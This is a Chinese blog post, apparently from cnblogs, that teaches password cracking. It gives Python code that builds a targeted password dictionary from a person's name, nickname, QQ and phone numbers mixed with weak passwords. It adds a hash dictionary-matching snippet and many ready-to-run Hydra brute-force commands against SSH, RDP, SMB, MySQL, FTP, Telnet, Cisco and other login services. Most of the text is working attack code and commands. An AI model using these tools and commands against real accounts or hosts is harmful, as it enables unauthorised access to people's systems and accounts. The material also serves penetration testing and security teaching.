• Python 在线与离线密码破解


    专属字典生成

    首先需要编写一个密码生成工具,这里我们使用弱密码与个性化数组组合形成一个定制字典,例如收集用户的姓名,昵称,QQ号手机号等资源,然后通过Python对搜集到的数据与弱密码进行结合,从而定制出属于某个人的专属密码集,从而提高破解的成功率,这里收集了一些弱密码,作为模板使用: https://www.blib.cn/sh/template.log 生成字典的Python代码如下.

    import os,sys
    from random import randint,sample
    from optparse import OptionParser
    
    def Open_File(file):
        with open(file,"r",encoding="utf-8") as fp:
            for item in fp.readlines():
                data = "".join(item.split("\n"))
                yield data
    
    def OrderDict(template,outfile,world,flag):
        Count = 0
        fp = open(outfile,"a+",encoding="utf-8")
        if len(flag) <= 0:
            for item in Open_File(template):
                for w in world:
                    fp.write(w + item + "\n")
                    fp.write(item + w + "\n")
                    Count = Count + 2
        else:
            for item in Open_File(template):
                for w in world:
                    for f in flag:
                        fp.write(item + w + f + "\n")
                        fp.write(item + f + w + "\n")
                        fp.write(w + item + f + "\n")
                        fp.write(w + f + item + "\n")
                        fp.write(f + item + w + "\n")
                        fp.write(f + w + item + "\n")
                        Count = Count + 6
        fp.close()
        print("[+] 总共生成弱密码条数: {}".format(Count))
    
    def RandomDict(outfile,world,flag):
        Count = 0
        fp = open(outfile,"a+",encoding="utf-8")
        if len(flag) <= 0:
            for item in range(1,1000):
                random = sample(world, 2)
                fp.write(random[0]+random[1] + "\n")
                Count = Count + 1
        else:
            for item in range(1,1000):
                random = sample(world, 2)
                for f in flag:
                    fp.write(random[0] + random[1] + f + "\n")
                    fp.write(f + random[0] + random[1] + "\n")
                    fp.write(random[0] + f + random[1] + "\n")
                    Count = Count + 3
        fp.close()
        print("[+] 总共生成随机密码条数: {}".format(Count))
    
    if __name__== "__main__":
        parser = OptionParser()
        parser.add_option("-t","--template",dest="template",help="指定一个基础模板字典.")
        parser.add_option("-k","--keyword",dest="keyword",help="指定一些关键字,用逗号分隔.")
        parser.add_option("-s","--symbol",dest="symbol",help="指定一些特殊符号,用逗号分隔.")
        parser.add_option("-o","--outfile",dest="outfile",help="指定输出字典的名字.")
        (options,args) = parser.parse_args()
        if options.template and options.keyword and options.outfile:
            world = [item for item in options.keyword.split(",")]
            if options.symbol == None:
                flag = []
                OrderDict(options.template,options.outfile,world,flag)
            else:
                flag = [item for item in options.symbol.split(",")]
                OrderDict(options.template,options.outfile,world,flag)
        else:
            parser.print_help()
    

    如上代码的使用方式 -t 指定模板字典,-k 指定关键字序列,以逗号分隔开,-s 指定一些特殊符号可以不写,-o 指定输出后的文件名。

    不指定特殊符号:main.py -t template.log -k lyshark,wang,abc,zhangsan -o pass.log
    指定特殊符号:main.py -t template.log -k lyshark,wang,19981211 -s !,@,#,$ -o pass.log
    


    离线密码破解Python版

    通过hash加密后的密码,理论上是无法通过数学算法恢复的,但是我们可以换一种思路,通过一个明文字典,依次将明文字典加密后与获取到的hash密码进行碰撞,只要一致则说明密码找到了,代码片段如下,自行加上多线程即可,但是多数情况下我们会去 https://www.cmd5.com/ 网站上直接查询,并不会穷举。

    import os,sys,hashlib
    
    # -d worldkey.log -t 10 -H ec1452657485962
    def HashCrack(hash_type,hash_key,hash_passwd):
        if hash_type == "md5":
            hash = hashlib.md5()
        if hash_type == "sha256":
            hash = hashlib.sha256()
        if hash_type == "sha384":
            hash = hashlib.sha384()
        if hash_type == "sha512":
            hash = hashlib.sha512()
        hash.update(bytes(hash_passwd,encoding="utf-8"))
        if str(hash.hexdigest()) == hash_key:
            return hash_passwd
        else:
            return 0
    
    a = HashCrack("md5","e10adc3949ba59abbe56e057f20f883e","1234")
    print(a)
    

    hydra 密码破解工具

    Hydra(九头蛇海德拉)是希腊神话之中的一个怪兽,以九个头闻名于世,在Kali中hydray(hai der rua) 是默认被安装的,该工具是密码破解的老司机,可以破解各种登录密码,非常怪兽,但是其稳定性不是很好,原始项目地址: https://github.com/vanhauser-thc/thc-hydra 其Windows实现版: https://github.com/maaaaz/thc-hydra-windows 除了hydra外,还有一个medusa 原理都差不多,但是medusa支持的协议要少于hydra 但是稳定性略高。

    其支持的破解类型包括,一下这么多几乎当前协议通吃,很怪兽。

    Supported services: adam6500 asterisk cisco cisco-enable cvs ftp[s] http[s]-{head|get|post} 
    http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] 
    ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid 
    pcanywhere pcnfs pop3[s] postgres redis rexec rlogin rpcap rsh rtsp 
    s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak 
    telnet[s] vmauthd vnc xmpp
    

    Linux 密码破解 hydra -l root -P template.lst -t 10 192.168.1.20 ssh

    目标主机日志将会留下大量登录请求

    破解成功会提示用户名密码

    其他破解使用方式

    远程桌面暴力破解
    hydra -L /data/dic/user.dic -P /data/dic/password.dic -t 1 192.168.2.57 rdp
    hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
    
    破解https:
    hydra -m /index.php -l username -P pass.txt IP https
    
    破解teamspeak:
    hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
    
    破解cisco:
    hydra -P pass.txt IP cisco
    hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
    
    破解smb:
    hydra -l administrator -P pass.txt IP smb
    
    破解pop3:
    hydra -l muts -P pass.txt my.pop3.mail pop3
    
    破解rdp:
    hydra IP rdp -l administrator -P pass.txt -V
    
    破解http-proxy:
    hydra -l admin -P pass.txt http-proxy://10.36.16.18
    
    破解telnet
    hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
    
    破解ftp:
    hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
    hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
    
    mysql暴力破解
    hydra -L /data/dic/user.dic -P /data/dic/password.dic -t 5 192.168.2.235 mysql
    
    文章出处:https://www.cnblogs.com/LyShark/p/12511167.html
    版权声明:本博客文章与代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章 [均为原创] 作品,转载请 [添加出处] ,您添加出处是我创作的动力!

    如果您恶意转载本人文章并被本人发现,则您的整站文章,将会变为我的原创作品,请相互尊重 !
    转载规范 点击阅读 如果您转载本人文章,则视为您默认同意此规范约定。
  • 相关阅读:
    2020年终总结
    vi编辑器使用基本操作
    为什么Windows下重载Nginx配置不生效
    JAVA、C#中使用正则表达式替换字符串
    领域事件、集成事件、事件总线区别与关系
    asp.net core中使用Serilog以及自定义Enricher
    C语言----文件(高阶篇二十八)
    C语言----指针与一维数组(高阶篇二十七)
    C语言----位运算(进阶篇二十六)
    C语言----指针基础(进阶篇二十五)
  • 原文地址:https://www.cnblogs.com/LyShark/p/12511167.html
Copyright © 2020-2023  润新知